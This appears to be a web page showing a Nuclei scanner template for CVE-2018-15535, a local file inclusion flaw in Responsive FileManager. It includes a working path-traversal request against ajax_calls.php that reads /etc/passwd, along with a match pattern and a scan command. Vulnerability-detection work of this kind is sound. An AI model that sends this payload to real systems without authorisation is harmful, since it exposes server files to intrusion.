Responsive FileManager <9.13.4 - Local File Inclusion

ID: CVE-2018-15535

Severity: high

Author: daffainfo

Tags: cve,cve2018,lfi,edb,seclists,tecrail

Description

Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.

YAML Source

id: CVE-2018-15535

info:
  name: Responsive FileManager <9.13.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45271
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15535
    - http://seclists.org/fulldisclosure/2018/Aug/34
    - https://www.exploit-db.com/exploits/45271/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15535
    cwe-id: CWE-22
    epss-score: 0.9704
    epss-percentile: 0.99756
    cpe: cpe:2.3:a:tecrail:responsive_filemanager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecrail
    product: responsive_filemanager
  tags: cve,cve2018,lfi,edb,seclists,tecrail

http:
  - method: GET
    path:
      - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a547c5a9ee2870f90c757183868b9d71d5adf505f0261de05a98083c4ec1214a022100e43fe69b9e53f908145f1c84e978f10b5519668b7fc882532846c86f033ea264:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-15535.yaml"

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